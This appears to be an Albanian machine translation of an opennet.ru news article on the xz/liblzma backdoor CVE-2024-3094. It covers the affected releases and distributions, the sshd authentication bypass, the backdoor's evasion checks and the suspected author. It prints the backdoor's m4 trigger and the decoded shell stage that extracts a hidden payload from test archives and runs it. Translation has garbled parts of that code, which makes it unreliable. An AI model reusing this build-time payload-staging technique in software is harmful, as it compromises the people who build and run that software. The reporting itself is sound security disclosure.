Një derë e pasme u zbulua në bibliotekën xz/liblzma që lejon hyrjen përmes sshd

Në paketën XZ Utils, e cila përfshin bibliotekën e liblzma dhe shërbimet për të punuar me të dhëna të kompresuara në formatin ".xz", është identifikuar një derë e pasme (CVE-2024-3094) që lejon përgjimin dhe modifikimin e të dhënave të përpunuara nga aplikacionet e lidhura. me bibliotekën e liblzmës. Objektivi kryesor i backdoor është serveri OpenSSH, i cili në disa shpërndarje është i bashkuar me bibliotekën libsystemd, e cila nga ana tjetër përdor liblzma. Lidhja e sshd me një bibliotekë të cenueshme i lejon sulmuesit të kenë akses në serverin SSH pa vërtetim.

Backdoor ishte i pranishëm në versionet zyrtare 5.6.0 dhe 5.6.1, të publikuara më 24 shkurt dhe 9 mars, të cilat arritën të futeshin në disa shpërndarje dhe depo, për shembull, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide dhe 40-beta, fabrika e openSUSE dhe tumbleweed, LibreELEC, Alpine edge, Solus, NixOS e paqëndrueshme, OpenIndiana, OpenMandriva rrotulluese, rryma pkgsrc, rryma Slackware, testimi Manjaro. Të gjithë përdoruesit e versioneve xz 5.6.0 dhe 5.6.1 rekomandohen të kthehen urgjentisht në versionin 5.4.6.

Ndër faktorët që lehtësojnë problemin, mund të vërehet se versioni i liblzma me një derë të pasme nuk arriti të bëhej pjesë e lëshimeve të qëndrueshme të shpërndarjeve të mëdha, por preku openSUSE Tumbleweed dhe Fedora 40-beta. Arch Linux dhe Gentoo përdorën një version të cenueshëm të zx, por nuk janë të ndjeshëm ndaj sulmit sepse nuk aplikojnë patch-in systemd-notify në openssh, gjë që bën që sshd të lidhet me liblzma. Backdoor prek vetëm sistemet x86_64 të bazuara në kernelin Linux dhe bibliotekën Glibc C.

Kodi i aktivizimit të derës së pasme u fsheh në makro m4 nga skedari build-to-host.m4 i përdorur nga paketa e veglave të automake gjatë ndërtimit. Gjatë montimit, gjatë ekzekutimit të operacioneve të ndërlikuara të turbullta të bazuara në arkiva (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), të përdorura për të testuar korrektësinë e funksionimit, u krijua një skedar objekti me kod me qëllim të keq, i cili u përfshi në biblioteka liblzma dhe ndryshoi logjikën e funksionimit disa nga funksionet e saj. Makrot m4 që aktivizojnë prapavijën u përfshinë në tarballat e lëshimit, por nuk ishin në depon e Git. Në të njëjtën kohë, arkivat e testimit me qëllim të keq ishin të pranishëm në depo, d.m.th. personi që implementoi backdoor-in kishte akses si në depo ashtu edhe në proceset e gjenerimit të lëshimit.

Kur përdorni liblzma në aplikacione, ndryshimet me qëllim të keq mund të përdoren për të përgjuar ose modifikuar të dhënat ose për të ndikuar në funksionimin e sshd. Në veçanti, kodi me qëllim të keq ka falsifikuar funksionin RSA_public_decrypt për të anashkaluar procesin e vërtetimit sshd. Backdoor përfshinte mbrojtjen nga zbulimi dhe nuk u shfaq kur u caktuan variablat e mjedisit LANG dhe TERM (d.m.th., kur ekzekutohej procesi në terminal) dhe variablat e mjedisit LD_DEBUG dhe LD_PROFILE nuk u vendosën, dhe gjithashtu aktivizohej vetëm kur ekzekutohej /usr/sbin/sshd skedar i ekzekutueshëm. Backdoor kishte gjithashtu një mjet për të zbuluar ekzekutimin në mjediset e korrigjimit.

Në veçanti, skedari m4/build-to-host.m4 përdori gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Në ndërtimin e parë, operacioni grep gjeti skedarin tests/files/bad-3-corrupt_lzma2.xz, i cili, kur zbërthehej, gjeneroi skriptin: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && dil 0 [ ! $(uname) = "Linux" ] && dil 0 [ ! $(uname) = "Linux" ] && dil 0 [ ! $(uname) = "Linux" ] && dil 0 [ ! $(uname) = "Linux" ] && dilni 0 eval `grep ^srcdir= config.status` nëse testoni -f ../../config.status;atëherë eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi eksport i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Bota####

Se si sulmuesit arritën të hynin në infrastrukturën e projektit xz ende nuk është sqaruar plotësisht. Gjithashtu nuk është ende e qartë se sa përdorues dhe projekte janë komprometuar si rezultat i backdoor. Autori i supozuar i derës së pasme (JiaT75 - Jia Tan), i cili postoi arkiva me kod me qëllim të keq në depo, korrespondoi me zhvilluesit e Fedora dhe dërgoi kërkesa për tërheqje në Debian në lidhje me kalimin e shpërndarjeve në degën xz 5.6.0 dhe nuk e bëri ngjall dyshime, pasi ai ka marrë pjesë në xz ka zhvilluar dy vitet e fundit dhe është zhvilluesi i dytë për sa i përket numrit të ndryshimeve të bëra. Përveç projektit xz, autori i supozuar i backdoor mori pjesë gjithashtu në zhvillimin e paketave xz-java dhe xz-embedded. Për më tepër, Jia Tan pak ditë më parë u përfshi në numrin e mirëmbajtësve të projektit XZ Embedded të përdorur në kernelin Linux.

Ndryshimi me qëllim të keq u zbulua pas analizimit të konsumit të tepërt të CPU-së dhe gabimeve të krijuara nga valgrind gjatë lidhjes përmes ssh me sistemet e bazuara në Debian sid. Vlen të përmendet se lëshimi i xz 5.6.1 përfshinte ndryshime të përgatitura nga autori i supozuar i derës së pasme në përgjigje të ankesave për ngadalësimet dhe përplasjet e sshd që u ngritën pas përmirësimit në versionin zx 5.6.0 me derën e pasme. Për më tepër, vitin e kaluar Jia Tan bëri ndryshime që ishin të papajtueshme me modalitetin e inspektimit "-fsanitize=address", duke bërë që ai të çaktivizohej gjatë testimit fuzz.

Burimi: opennet.ru

Shto një koment